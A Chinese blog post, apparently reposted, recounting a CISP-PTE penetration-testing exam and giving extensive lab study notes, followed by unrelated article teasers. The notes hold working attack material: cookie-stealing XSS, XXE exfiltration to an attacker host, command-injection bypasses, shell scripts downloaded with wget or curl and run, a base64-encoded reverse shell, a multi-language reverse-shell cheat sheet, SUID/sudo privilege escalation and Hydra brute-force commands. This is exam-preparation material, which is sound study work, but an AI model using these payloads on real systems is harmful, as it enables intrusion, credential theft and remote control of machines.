关于获取CISP-PTE一些避坑经历

有幸在今年8月份成功通过CISP-PTE认证,以下是我遇到的一些常见问题,以及一些考点内容以及总结

在这里插入图片描述
在这里插入图片描述

考试题型

20道选择题 (20分)
5道基础题 (50分) 一题一个Key
1道综合大题 (30分) 三个key

线下考试

在这里插入图片描述这次考试是在中国上海,现场大概有30人左右,分上午场和下午场

在这里插入图片描述进入考场时候多多少少还是有点紧张的,3个小时过的是非常快的,最后以98分拿下
题目难度是有一点,总的来说的确能学到东西的…

注意:考场内是不允许携带外设键盘的,现场会至少有一个360安全专业人员监考.所有人电脑都会提前装一个奇安信的一个考试exe,刚开始的时候会让你连接一个WIFI,我们将会通过WIFI进行做题,做题期间你的电脑将被全程监控并且一些退出快捷键也是全部锁死(有点像勒索病毒那种界面),想要重启必须直接拔电源。中途可以上厕所,需要监考官陪同

一定要快速上手这个exe,多点点,多翻一下,它整体就类似于一个浏览器里面套了一个虚拟机,就类似于TryHackMe那种浏览器套虚拟机

我踩过的一些坑

1.sql注入,有些sql注入并不是让你上传webshell或者注入账密,而是让你利用sql注入读Key
2.AntSword只能连接REQUEST请求和POST请求的一句话木马,并不能连接GET请求的木马

整理的笔记,这里的环境无法提供,涉及到法律保护

!!!认真审题!! !!多看源码!! !!想想当前环境有什么洞!! !!时时刻刻打开notepad记录!!

靶场环境

上课环境-pte-100.100-administrator-123.com [192.1 68.101.134]
CentOS7-100.150-root [192.1 68.101.150]
XSS靶机 [192.168.101.141]
靶机 [192.168.101.140]
靶机2 [192.168.101.136]‘
WebShell应急响应靶场 [192.168.101.142]
pwnlab靶场[192.168.101.143]

=01=

考试须知 [9:50]

网络攻击技术 [25:48]

七个渗透阶段 [35:59]

1.前期交互
2.情报收集/信息收集
3.威胁建模
4.漏洞分析
5.漏洞利用/漏洞攻击
6.后渗透(深度利用)
7.书面报告

靶场:上课环境-pte-100.100-administrator-123.com 环境安装 [1:01:19]

信息收集 [1:26:26]

Google_Hacking [``1:40:17-1:58:16``] ————练习
whois [``2:10:11``]
子域名的概念 [``2:18:41``]收集子域名方法 [``2:26:00``] Google_Hacking [``2:26:43``]  -site 排除xxx域名 搜索引擎DuckDUckgo [``2:30:50``]子域名爆破:子域名挖掘机 [``2:32:37-2:41:46``] ————练习

练习题 [2:49:20-2:54:14] ————练习

=02=

服务器信息收集 [3:43]

nmap [``5:25-48:40``] ————练习
网站目录结构 [``1:19:40``].SVN泄露 .git泄露  网站备份文件压缩文件-test.rar .DS_store文件 WEB-INF文件 配置文件泄露-.config/xx.config.bak/config.php/robots.txt

御剑 [1:28:50-1:34:21] ————练习

Burp工具练习 [1:44:49-2:04:13] ————练习

HTTP报文 [2:34:04]

练习题 [3:00:08-3:07:31] ————练习

=03=

url介绍: 统一资源定位符 [3:22]

SQL注入 [11:09-46:11] ————练习

SQ注释符 [59:10-1:09:54] ————练习

1.内联注释:注释中的语句会被执行 /*!xxx*/  
2.# 字符到行尾
3.--空格 到行尾
4./*xxxx*/ 

万能密码 [1:29:04-1:41:32] ————练习

SQL注入五个维度 [1:48:17]

1.基于注入点值的属性[``数字型,字符型``][``1:49:15``]
2.基于注入点的位置[``GET型,POST型,Cookie型,HTTP Head型``] [``1:53:21``]
3.基于注入的程度和顺序[``一阶注入,二阶注入``] [``1:57:49-2:12:09``] ————练习
4.基于从服务器返回的响应[``有回显:[``联合查询注入,报错注入,堆叠注入``],无回显:[``布尔盲注,延时盲注``]``] [``1:49:15``]
5.特殊业务场景[``update注入,insert注入,delete注入,order by 注入,宽字节注入,HTTP分割注入,HTTP参数污染``] [``1:49:15``]

=04=

Union注入练习 [5:44-19:30] ————练习

报错注入 [32:00-56:21] ————练习

布尔盲注 [ 1:11:52-1:35:00] ————练习

时间盲注 [ 1:51:21]

SQL注入练习CISP-PTE [02:05:46-02:31:20] ————练习

SQL注入的读写操作 [02:05:46-02:31:20] ————练习

靶场 CentOS7-100.150-root [2:57:29-3:06:37] ————练习

=05=

CentOS7-100.150-root 1081端口的SQL注入 [2:03-35:39] ————练习

CentOS7-100.150-root 81端口的SQL注入 [52:57-1:08:27] ————练习

SQMAP [52:57-1:41:39] ————练习

练习题 [2:02:28-2:20:24] ————练习

文件上传(DVWA)Level:Low[2:21:29-2:42:52] ————练习 上课环境-pte-100.100-administrator-123.com

文件上传(DVWA)Level:Low assert 动态拼接执行 [2:50:52-2:59:13] ————练习 上课环境-pte-100.100-administrator-123.com

=06=

文件上传(Pikachu)绕过客户端检测 [4:19-26:55] ————练习 上课环境-pte-100.100-administrator-123.com

文件上传(Pikachu)Mime检测 [37:06-49:49] ————练习 上课环境-pte-100.100-administrator-123.com

文件上传(Pikachu)图片马[58:32-1:17:54] ————练习 上课环境-pte-100.100-administrator-123.com

文件上传(82端口)文件内容检测马[1:27:40-1:47:27] ————练习 CentOS7-100.150-root

文件上传() 黑名单检测 [2:06:51-] windows大小写不敏感,如果是Linux进行大小写绕过,则Php文件可能会被直接下载 ————练习 C:\upload-labs-env 上课环境-pte-100.100-administrator-123.com

文件上传(10082端口)特殊可解析后缀名[2:29:27-2:35:33] ————练习 CentOS7-100.150-root

文件上传(Upload-lab 11)%00截断 php<5.3.4 [2:47:59-3:02:01] ————练习 上课环境-pte-100.100-administrator-123.com

=07=

文件包含 [13:50-30:09] 上课环境-pte-100.100-administrator-123.com

文件包含一些利用条件 [30:09-02:29:54]

1.Vlunhub Tomat靶场日志投毒利用文件包含Getshell(/var/log/auth.log) [``47:59-53:48``] 扩展练习可做可不做
2.phpmyadmin利用session文件包含getshell [``56:10-01:00:05``](1).文件包含 pikachu file inclusion - local 上课环境-pte-100.100-administrator-123.com [``练习``]
3.伪协议(重点) [``01:30:21-01:00:05``] ————练习 上课环境-pte-100.100-administrator-123.com
(php伪协议是支持的协议与封装的协议)1.file://  [``绝对路径读``] //php代码封装好的函数代码实现 [``01:32:12``]2.php://filter/read=convert.base64-encode/resource=xxx.txt [``相对/绝对路径``]  [``01:37:59``]3.data://text/plain [``allow_url_fopen=on 并且 allow_url_include = on 可以执行任意代码``] [``执行php代码``][``01:52:06``](1).file=data://text/plain,<?php phpinfo();?>(2).file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+4.php://input [``allow_url_fopen=on 并且 allow_url_include = on``] [``POST传递代码执行``] [``01:57:25``]

Vlunhub Tomat靶场利用文件包含 [47:59-47:43] 扩展练习可做可不做

	5.zip://压缩文件绝对路径#压缩文件内的子文件名  [``php>=5.3.0``] [``读取压缩包内文件内容``] [``02:11:31``]6.phar://[``压缩包绝对/相对路径``]/[``压缩包内的子文件名``] [``读取压缩包内文件内容``] [``php>=5.3.0``] [``02:16:29``]

练习题 [02:29:54-02:44:54]

=08=

data伪协议包含 [02:22] ————练习 CentOS7-100.150-root [1083] [基础题目之文件包含]

有后缀有限制 拼接.html的话
windows 256不处理 ././././././phpinfo.txt
linux 4096 不处理

data伪协议包含 [16:27] ————练习 CentOS7-100.150-root [83] [文件包含,有后缀]

data伪协议包含 [23:15] ————练习 上课环境-pte-100.100-administrator-123.com [http://192.168.101.134/bhmoni/]

中间件安全

==apache== 
1. .htaccess [``41:13-01:00:20``]上课环境-pte-100.100-administrator-123.com   ————练习  [``upload-lab 4``](1).Addtype application/x-httpd-php .jpg(2).<FilesMatch "hack">Sethandler application/x-httpd-php</FIlesMatch>
2.apache日志 linux /var/log [``01:09:51``]
3.向前解析漏洞 123.php.a1.a2.a3  [``upload-lab 4``]
4.日志分析 [``01:16:23``]    ————练习  上课环境-pte-100.100-administrator-123.com [``http://192.168.101.134/PTE/6.rizhi/``]
curl -o 1.txt http://192.168.101.134/PTE/6.rizhi/rizhi.log
正则表达式:"*.*(hack|back|admin|shell).*\.php.*" 200
5.日志分析 [``01:28:16``]	    ————练习  CentOS7-100.150-root [``1085``]
172\.16\.12\.12.*"*.*(hack|back|admin|shell).*\.php.*" 200
== IIS解析漏洞 ==  [``01:56:30``](1).目录解析 网站目录下文件夹名字为xx.asp的文件夹,其目录内任何扩展名的文件都会被IIS当作asp文件来解析并执行(1).文件解析 IIS6.0下,分号后面的不被解析,也就是1.asp;1.jpg 会被服务器看成是1.asp(3).解析文件类型 .asp .asa .cer .cdx
== Nginx解析漏洞 ==(1).上传hack.jpg,访问hack.jpg/.php(2).xxx.jpg%00.php(影响版本[0.5-0.7(<=0.7.65),0.8(<0.8.37)])

暴力破解

1.BURP爆破[``02:09:36-02:26:09``]  ————练习  CentOS7-100.150-root [``1085``] http://192.168.101.150:1085/adminlogin.php
2.hydra爆破rdp [``02:37:38-02:44:08``]  ————练习  hydra.exe -L u.txt -P p.txt rdp://192.168.101.134 上课环境-pte-100.100-administrator-123.com

练习题 [02:44:14-03:04:26]

=09=

Tomcat:8080 Authorization爆破Custom iterator模块 [5:01-29:21] [https://www.mozhe.cnSS/bug/detail/46]

XSS [48:51]

(1).XSSdemo [``1:01:41``]  上课环境-pte-100.100-administrator-123.com
(2).Pikachu-反射,存储XSS [``1:11:09-1:48:10``] 上课环境-pte-100.100-administrator-123.com
(3).Pikachu-DomXSS [``1:48:19-2:08:48``] 上课环境-pte-100.100-administrator-123.com
(4).XSS盲打 [``2:17:34-``] 上课环境-pte-100.100-administrator-123.com		confirm(123)#弹出带有确认取消的框  prompt(123)#弹出输入框

XSS利用 [2:25:34]

# <script>document.write('<img src="http://ip:8000/?'+document.cookie+'">')</script>
python2 -m SimpleHTTPServer 监听端口
python3 -m http.server 监听端口 -d 目录
(1).Pikachu-存储型xss窃取cookie [``2:25:39``] ————练习 上课环境-pte-100.100-administrator-123.com

=10=

存储型XSS窃取Cookie [0:59-23:47] ————练习 XSS靶机192.168.101.141

xss防御 htmlspecialchars

练习题 [35:20-23:47] js函数不可以进行大小写转换,/可以替换空格和’,"-

CSRF:跨站请求伪造

(1).Get型CSRF[``DVWA|Pikachu``]  [``01:10:10-23:47``] ————练习 上课环境-pte-100.100-administrator-123.com

CSRF防御[01:22:22]

(1).验证Referer字段
(2).添加Token验证
(3).二次验证
(4).用户养成良好习惯

练习题 [01:35:30-01:42:04]

反序列化[02:01:45]

当类中有private参数时序列化字符串格式为 %00类名%00成员名

(1).反序列化 http://49.234.52.232:84/ http://192.168.101.150:84/————练习 [``02:03:05-02:17:32``]

练习题 [02:29:47-01:42:04]

=11=

RCE[01:22:22]

一些命令执行函数 [16:25] 靶机2[192.168.101.136]

	system() 主动返回命令结果passthru() 主动返回命令结果exec() 主动返回命令结果最后一行数据,如果显示全部数据必须exec($c,$d);var_dump($d);shell_exec() 不主动返回命令结果.需要echo出结果
命令带入 [``27:09``]

Windows:

		a&b 前面和后面的命令都要执行,无论前面真假a&&b 如果前面为假,后面的命令不执行,如果前面为真则执行两条命令a|b  直接执行后面的语句a||b  如果前面的命令是错的那么执行后面的命令,否则只执行前面的命令

Linux

		a&b 如果前面的命令错误后面的命令执行,前后都正确命令都执行a&&b 前面的命令成功后再执行后面的,前面的命令执行不成功后面的也不执行a|b  前面的命令不管正确与否都执行后面的命令a||b 表示上一条命令执行失败后,才执行下一条命令,如果上一条命令执行成功后,后面的命令无法执行%0a 换行符相当于敲完一条命令后换行; 前面和后面没有影响,哪个正确就执行哪个,都错误就都不执行

Linux查看命令绕过 [57:18]

	cat<flag.php{cat,flag.php}URL上过滤了空格 %20 %09cat$IFS'flag.php'cat${IFS}flag.phpc`1`at<flag.phpca"t"<flag.phpca't'<flag.phpc\a\t<flag.phpa=l;b=s;$a$ba=flag;b=.php;cat $a$b`echo d2hvYW1pCg== | base64 -d` 过滤了whoami情况绕过cat less more tac head tail od cp mv vi vim strings od -tc ./key.cispcurl file:///var/www/html/rce/RemoteCommandExecute/flag.phpawk "{print}" /var/www/html/rce/RemoteCommandExecute/flag.phpawk "{print}" /var/www/html/rce/RemoteCommandExecute/flag.*/???/c?t flag.php
Windows查看命令绕过 [``1:10:13``]w"h"o"a"m"iwho^ami(whoami)((whoami))set a=who set b=ami %a%%b%set a=whoami %a:~0% 取出所有值 %a:~2% 取出除了前面两个的后面所有值 oamiset a=abc   wh^o^%a:~0,1%mi

CTFHUB RCE [1:15:59] ————练习

反弹shell[01:36:56-1:44:45]

监听VPS命令
nc -lvvp 7777
被控
bash -i >& /dev/tcp// 0>&1

限制长度15的命令执行[1:57:35-1:44:45] ————练习

echo \<?php>1
echo Eval\(>>1
echo \$_GET>>1
echo \[``1\``]>>1
echo \)\;>>1
echo \?\>>>1
mv 1 1.php

代码执行 [2:21:41]

eval

assert [php7.0.29前是函数,php7.0.29后是构造器(不支持动态调用)]

preg_replace [/e修正符会将参数当作php代码执行,完成匹配替换后才执行php代码]

create_function [````]

$a = create_function('$a','print $a;'); 
<?php function a($b){echo $b;}
?>

${}

"${phpinfo()}";代码执行phpinfo(); 

http://192.168.101.136/rce/RemoteCodeExecute/example.php 练习 [2:38:50]

<?php function a($name){ echo $name.'.'的美元价格是'.$price.'; } ?>

http://192.168.101.136/pikachu/vul/rce/rce_eval.php [2:42:21] 练习 反弹shell

攻击者:
echo ‘bash -i >& /dev/tcp/192.168.101.140/10032 0>&1’ > shell.sh
python3 -m http.server 80 -d ./
python2 -m SimpleHTTPServer 80
受害者网址:
system(‘wget -P /tmp http://192.168.101.1/shell.sh’);
system(‘curl -o xxx http://192.168.101.1/shell.sh’);
攻击者:
nc -lvvp 10032
受害者网址:
system(‘bash /tmp/shell.sh’);

=12=

逻辑漏洞

发送短信验证码 [``14:48``]phone=xxx,xxx,xxx多发
刷赞X-Forwarded-ForReferer
邮箱轰炸修改Cookie值绕过发送次数限制大小写绕过邮箱轰炸

用户名枚举 [29:25]

未授权访问 [36:41]

会话重用 [38:06]

会话固定 [38:58] ————练习 http://192.168.101.140/Sessionsecurity/session

空口令 [47:57]

越权漏洞 [49:02]

水平越权 [``52:01``]  ————练习 http://192.168.101.134/4.0.18/
垂直越权 [``54:07``]  ————练习 http://192.168.101.134/fiyo_cms_2.0.6.1/dapur/

验证码问题 [1:13:18]

验证码复用  [``一定要卡住再爆破``]
验证码可回显
验证码变种(URL编码,BASE64(尾部有等号),BASE32(0-9+A-Z大写组成),MD5)
万能验证码 888888 000000 666666
验证码暴力破解 纯数字 4-5位左右可以尝试爆破
验证码空 
登陆验证绕过 返回包中False修改为True
密码白给 F12

交易支付 [1:35:31]

单价反冲/注册邀请码刷钱	练习 http://192.168.101.134/damicmsv552/ http://192.168.101.134/4.0.18/
金额单位 0.019 只需要支付0.01就可以买
修改支付接口
无限使用优惠券 练习 http://192.168.101.140/niushop/
前端限购商品
无限制试用
越权支付
充值中放弃订单未失效

敏感信息泄露

robots.txt
报错信息通过对方响应包判断对方中间件类型
备份文件www.rarphpinfo.php 搜索disable,open_basedir,DOCUMENT_ROOT,upload_tmp_dir,libxml Version(2.9之前默认开启外部实体引用的)扫到对方开启了3306的话,手动在url后尝试拼接phpmyadmin
目录列表目录穿越 /config../../../../../etc/passwd
调试信息
临时文件
页面源代码 考试时候随时查看页面源代码
账户页面
版本控制系统 

=13=

黑盒测试[2:39-37:16][WebShell应急响应靶场]

netdiscover 扫描内网主机
扫端口!扫目录!一定不能忘!
SUID提权和sudo提权一定要会
.bash_history 历史命令记录
如果页面源代码不是很多的情况下可以尝试View-source: 进行测试,这样即使隐藏在页面的数据也可以看得到,而且速度很快
流程
1.扫端口,扫目录!!数据包修改X-Forwarded-For:127.0.0.1绕过本地验证
2.http://192.168.101.142/?page=register注册任意用户
3.http://192.168.101.142/index.php?page=profile&user_id=381其中id存在水平越权
4.利用水平越权用户账密信息整成字典爆破对方SSH端口
5.hydra -L u.txt -P p.txt ssh://192.168.101.142
6.sudo提权

约束注入 mysql设置有一个sql_mode选项,sql_mode设置为default(默认) Mysql对插入超长的值只会提示warning,而不是error,这样会导致安全问题

show GLOBAL VARIABLES like ‘%secure%’;
结果: 没有安全路径,可以写文件操作
secure_auth OFF
secure_file_priv

bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMTAuMTA0LzgwMDAgIDA+JjE=}|{base64,-d}|{bash,-i}'

黑盒测试 [1:24:27-1:58:11][Pwnlab靶场]

流程
1.端口扫描!!,目录扫描!!
2.发现config.php数据库文件,php伪协议读取,连接数据库
3.登录页面 http://192.168.101.143/?page=upload
4.读取upload页面源代码,只能上传图片,利用到文件包含,此时读其他文件index页面源码,发现一个cookie包含点lang
5.上传图片木马
6.利用主页cookie中lang包含木马图片执行反弹shell

?1=system(“/bin/bash%20-c%20’bash%20-i%20>%26%20/dev/tcp/192.168.101.128/10032%200>%261’”);

SUID提权

SUID权限文件收集
靶机:

find / -user root -perm -4000 -exec ls -ldb {} \;

假设find命令有SUID.
靶机:

touch 1
find 1 -exec whoami \;

sudo提权

靶机:

vim 1.php

靶机:

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.101.128/10032 0>&1'");?>

靶机:

sudo php 1.php

攻击者:

nc -lvvp 10032

=14= 没回 放

=15=

SSRF [2:19]

危害内网探测窃取本地和内网敏感数据攻击服务器本地或内网应用跳板攻击绕过安全防御漏洞协议http/sfile协议dict协议gopher协议

gopher [21:04]

gopher://<host>:<port>/<gopher-pawth>_后接TCP数据流

gopher的默认端口70
发起post请求,回车换行需要使用%0d%0a,如果哦多个参数&也需要URL编码
转换规则:
1.问号(?)需要转码为URL编码%3f
2.回车换行%0d%0a,如果直接用工具转可能只有%0a
3.在HTTP包的最后要加%0d%0a,代表消息结束

get

gopher://192.168.101.140:80/_GET%20/SSRF/get.php%3fname=martin%20HTTP/1.1%0d%0aHost:%20192.168.101.140%0d%0a

post

gopher://192.168.101.1:88/_POST%20/%20HTTP/1.1%0d%0aHost:%20192.168.101.1:88%0d%0aContent-Length:%208%0d%0a%0d%0a1=martin

Redis未授权攻击

DICT协议[45:45]

dict://server:ip/命令:参数
向服务器的端口请求为[命令:参数],并在末尾自动补上\r\n(CRLF),也就是只执行一条命令
通过dict协议需要一条条的执行命令,二gopher协议执行一条命令就行

XML外部实体注入 [1:36:04]

格式良好的XML文档的基本规则

  1. 必须要有声明语句
  2. XML文档必须有且仅有一个根元素
  3. XML文档标签大小写敏感
  4. XML文档属性用双引号
  5. XML文档标签成对出现
  6. XML文档元素正确嵌套
  7. 默认打开方式就是浏览器

DTD [1:40:04]

DTD(document type definition) 文档类型定义
DTD用来约束xml文档格式,通俗就是语法
#PCDATA 里面会被解析
#CDATA 里面不会被解析

一般实体

<!ENTITY 实体名 "实体内容">
应用方式:
&实体名;

参数实体

<!ENTITY %实体名 "实体内容">
应用方式:
%实体名;

内部DTD

<!DOCTYPE 根元素 [元素声明]>

示例

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [<!ENTITY name "Martin">
]>
<note>
<name>&name;</name>
<age>19</age>
</note>

示例

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [<!ENTITY name SYSTEM "file:///etc/passwd">
]>
<note>
<name>&name;</name>
</note>

XXE练习 pikachu [1:58:15-1:59:23]

外部DTD

<!DOCTYPE 根元素 SYSTEM "文件名">

示例1

受害者:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE code SYSTEM "http://hacker/hack.dtd">
<code>&file;</code>

攻击者http://hacker/hack.dtd:

<!ENTITY file SYSTEM "file:///etc/passwd">

分割线---------------------------------------------------------------------

示例2

受害者:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE code [
<!ENTITY % file SYSTEM "http://hacker/hack.dtd">
%file;
]>
<code>&f;</code>

攻击者http://hacker/hack.dtd:

<!ENTITY f SYSTEM "file:///etc/passwd">

带回回显参数 [2:02:23]

示例

受害者:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE code [
<!ENTITY % dtd SYSTEM "http://hacker/hack.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=c:/key.php">
%dtd;
%send;
]>

攻击者http://hacker/hack.dtd:

<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://hacker?data=%file;'>">
%all;

XML REC [2:07:23]

安装了expect扩展才可以进行RCE

示例

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE code [
<!ENTITY cmd SYSTEM "expect://id">
]>
<code>&cmd;</code>

XML DDOS [2:08:43]

Json XXE [2:09:57]

Content-Type application/json改为application/xml

=16= 没回放

综合题

netsh firewall set opmode mode=disable
netsh advfirewall set allprofiles state off
然后更改administrator用户密码
net user administrator mima

!!!!重点!!!!

在进行反弹webshell时候

一定是用这条

system("/bin/bash+-c+'bash+-i+>%26+/dev/tcp/192.168.101.128/10033+0>%261'");

如果不加/bin/bash -c 就反弹失败

burp爆破提取结果作为字典流程

将数据包发送到测试器模块->选项->Grep_Extract选择提取响应值->开始爆破->保存字段user的内容作为字典->保存->结果表->取消保存标题行->勾选包括列当前的正则表达式user->选择目录保存为user.txt

文件上传技巧

一定要确认题目需不需要图片马,只有解析漏洞才可以利用图片木马
1.首先上传正常图片,获取到图片地址
2.上传一句话木马
文件名:1.php
MIME:image/png
内容添加:GIF89a
3.二次
文件名:1.pHP
MIME:image/png
内容添加:GIF89a
4.三次
文件名:1.php空格
MIME:image/png
内容添加:GIF89a
4-1 特性绕过 1.php.
4-2 特性绕过1.php::$DATA
4-3 双写绕过 利用中间件漏洞,1.php.xxxxxxx.xxxx.xxx.xxx向前解析漏洞
4-4 双写绕过1.pphphp

5.四次
文件名:1.php3 (php4,php5,phtml,phtm)
MIME:image/png
内容添加:GIF89a

6.五次 添加.htaccess

--.htaccess--
第一种:AddType application/x-httpd-php .png--所以的png解析成php
第二种:<FilesMatch "hacker">SetHandler application/x-httpd-php</FilesMatch>--将文件名包含hacker解析成php

7.六次 尝试00截断上传
1.jpg%00.php
或者在路径
/upload/1.php%00
filename=“shell.png”
[在POST请求中需要将%00解码,因为在get请求中会自动帮我们解码]
8.第七次尝试
使用命令将木马拼接到正常图片后

copy normal.png/b + shell.php/a hacker.png

上传图片木马
文件名:1.png
MIME:image/png
内容添加:GIF89a 一句话木马

[打开画图工具可以保存多种格式的图片]

文件上传之.user.ini

auto_prepend_file=1.jpg:在文件前插入
auto_append_file=1.jpg:文件最后插入

我们指定一个文件(如1.jpg),那么该文件就会被包含在要执行的php文件中(如index.php),相当于在index.php中插入一句:require(./1.jpg)。

XXE注意点

注意!使用file协议读取文件的时候注意格式,斜杠
file:///c:/key.php

反弹shell几种方法

Bash

bash -i >& /dev/tcp/x.x.x.x/port 0>&1
#bash -i 打开一个交互的bash
#>& 将标准错误输出重定向到标准输出
#/dev/tcp/x.x.x.x/port 意为调用socket,建立socket连接,其中x.x.x.x为要反弹到的主机ip,port为端口
#0>&1 标准输入重定向到标准输出,实现你与反弹出来的shell的交互
exec 0&0 2>&0
0<&196;exec 196<>/dev/tcp/x.x.x.x/4444; sh <&196 >&196 2>&196
/bin/bash -i > /dev/tcp/x.x.x.x/8080 0<&1 2>&1
exec 5<>/dev/tcp/x.x.x.x/4444;cat <&5 | while read line; do $line 2>&5 >&5; done

telnet

telnet x.x.x.x 4444 | /bin/bash | telnet x.x.x.x 5555
//x.x.x.x攻击者IP,监听4444端口的终端中执行命令可以在另一个5555终端中看到命令执行结果
rm -f /tmp/p; mknod /tmp/p p && telnet x.x.x.x 4444 0/tmp/p

nc

nc -e /bin/bash x.x.x.x port
rm /tmp/f ; mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc x.x.x.x 9999 >/tmp/f
nc x.x.x.x 4444|/bin/bash|nc x.x.x.x 5555
//x.x.x.x攻击者IP,监听4444端口的终端中执行命令可以在另一个5555终端中看到命令执行结果

python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

Perl

perl -e 'use Socket;$i="x.x.x.x";$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"x.x.x.x:5555");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Ruby

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("x.x.x.x","5555");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
ruby -rsocket -e'f=TCPSocket.open("x.x.x.x",5555).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

PHP

php -r '$sock=fsockopen("x.x.x.x",5555);exec("/bin/bash -i <&3 >&3 2>&3");'

Java

public class Revs {
/**
* @param args
* @throws Exception 
*/
public static void main(String[] args) throws Exception {// TODO Auto-generated method stubRuntime r = Runtime.getRuntime();String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/x.x.x.x/5555;cat <&5 | while read line; do $line 2>&5 >&5; done"};Process p = r.exec(cmd);p.waitFor();
}
}

综合题技巧

存在文件包含的题目:1.伪协议读取config.php等页面源码 2.文件上传图片马解析

同时存在 登录,注册 页面的题目登录页面存在万能密码登录的可能性不是很大。如果只有一个登录页面,要么读config.php连数据库,要么就是万能密码进去。

学会看开放端口

如果一台机子nmap扫到22端口80开放
1.极大概率从web服务拿到用户名字典密码字典。进行22端口爆破
2.Hydra 22端口上TOP1000字典爆破

如果一台机子nmap扫到3306端口80开放
1.大概率web服务泄露了config.php,连接数据库,拼接http://127.0.0.1/phpmyadmin
2.Hydra 3306端口上TOP1000字典爆破

Hydra

  1. 21端口爆破命令

21端口主要用于FTP(File Transfer Protocol,文件传输协议)服务,

FTP服务主要是为了在两台计算机之间实现文件的上传与下载,

命令:

hydra -L /root/user.txt -P /root/password.txt ftp://192.168.0.1 -vV

  1. 22端口爆破命令

22端口是Linux操作系统 SSH 远程登录协议,

类似于Windows的 3389,

命令:

hydra ssh://192.168.0.1 -L /root/user.txt -P /root/password.txt --vV

  1. 1433端口爆破命令

1433端口是SQL Server默认的端口,

SQL Server服务使用两个端口:TCP-1433、UDP-1434。

其中1433用于供SQL Server对外提供服务,1434用于向请求者返回SQL Server使用了哪个TCP/IP端口。,

命令:

hydra 192.168.0.1 mssql -L /root/user.txt -P /root/password.txt -vV

  1. 3306端口爆破命令

3306 是MySQL的默认端口,

命令:

hydra 192.168.0.1 mysql -L /root/user.txt -P /root/password.txt -vV

  1. 3389端口爆破命令

3389 是Windows远程桌面的默认端口,

命令:

hydra 192.168.0.1 rdp -L /root/user.txt -P /root/password.txt -vV

  1. smb服务爆破命令

SMB(Server Message Block) 是一种通信协议,

一般使用端口 139,445

命令:

hydra smb://192.168.0.1 -L /root/user.txt -P /root/password.txt -vV

  1. imap服务爆破命令

IMAP(Internet Mail Access Protocol,Internet邮件访问协议) ,

使用的端口是 143

命令:

hydra 10.36.16.18 imap PLAIN -L /root/user.txt -P /root/password.txt

注意

zip协议:zip://[绝对路径]
phar协议:phar://[相对/绝对路径]

SQL注入

在这里插入图片描述
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/652410.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

节点的度(Degree of a node)、“入度”(In-degree)、“出度”(Out-degree)

在图论和网络分析中&#xff0c;“节点的度”&#xff08;Degree of a node&#xff09;是指与该节点直接相连的边的数量。在一个无向图中&#xff0c;每条边连接两个节点&#xff0c;对于每个节点来说&#xff0c;它的度就是与它相连的边的总数。在一个有向图中&#xff0c;节…

uniapp scroll-view用法[下拉刷新,触底事件等等...](4)

前言:可滚动视图区域。用于区域滚动 话不多说 直接上官网属性 官网示例 讲一下常用的几个 scroll 滚动时触发 scrolltoupper 滚动到顶部或左边&#xff0c;会触发 scrolltoupper 事件 scrolltolower 滚动到底部或右边&#xff0c;会触发 scrolltolower 事件 1.纵向滚动…

【HTML教程】跟着菜鸟学语言—HTML5个人笔记经验(四)

HTML学习第三天&#xff01; PS&#xff1a;牛牛只是每天花了1.5-2小时左右来学习HTML。 书接上回 HTML<div>和<span> HTML 可以通过<div> 和 <span>将元素组合起来。 HTML 区块元素 大多数 HTML 元素被定义为块级元素或内联元素。 块级元素在浏…

【Git配置代理】Failed to connect to github.com port 443 问题解决方法

前言&#xff1a; 在学习代码审计时&#xff0c;有时会需要使用git去拉取代码&#xff0c;然后就出现了如下错误 看过网上很多解决方法&#xff0c;觉得问题的关键还是因为命令行在拉取/推送代码时并没有使用VPN进行代理。 解决办法 &#xff1a; 配置http代理&#xff1a;…

【Linux】第三十七站:信号保存

文章目录 一、信号发送二、信号保存1.为什么要进行信号保存&#xff1f; 三、阻塞信号1.信号的一些相关概念2.在内核中的表示3.sigset_t4.信号集操作函数5.sigprocmask6.sigpending7. 总结 一、信号发送 如下所示&#xff0c;对于普通信号&#xff0c;它的编号是从1~31。这个是…

指针的深入了解2

1.const修饰指针 在这之前我们还学过static修饰变量&#xff0c;那我们用const来修饰一下变量会有什么样的效果呢&#xff1f; 我们来看看&#xff1a; 我们可以看到编译器报错告诉我们a变成了一个不可修改的值&#xff0c;我们在变量前加上了const进行限制&#xff0c;但是我…

使用py-spy对python程序进行性能诊断学习

py-spy简介 py-spy是一个用Rust编写的轻量级Python分析工具&#xff0c;它能够监视正在运行的Python程序&#xff0c;而不需要修改代码或者重新启动程序。Py-spy可以在不影响程序运行的情况下&#xff0c;采集程序运行时的信息&#xff0c;生成火焰图&#xff08;flame graph&…

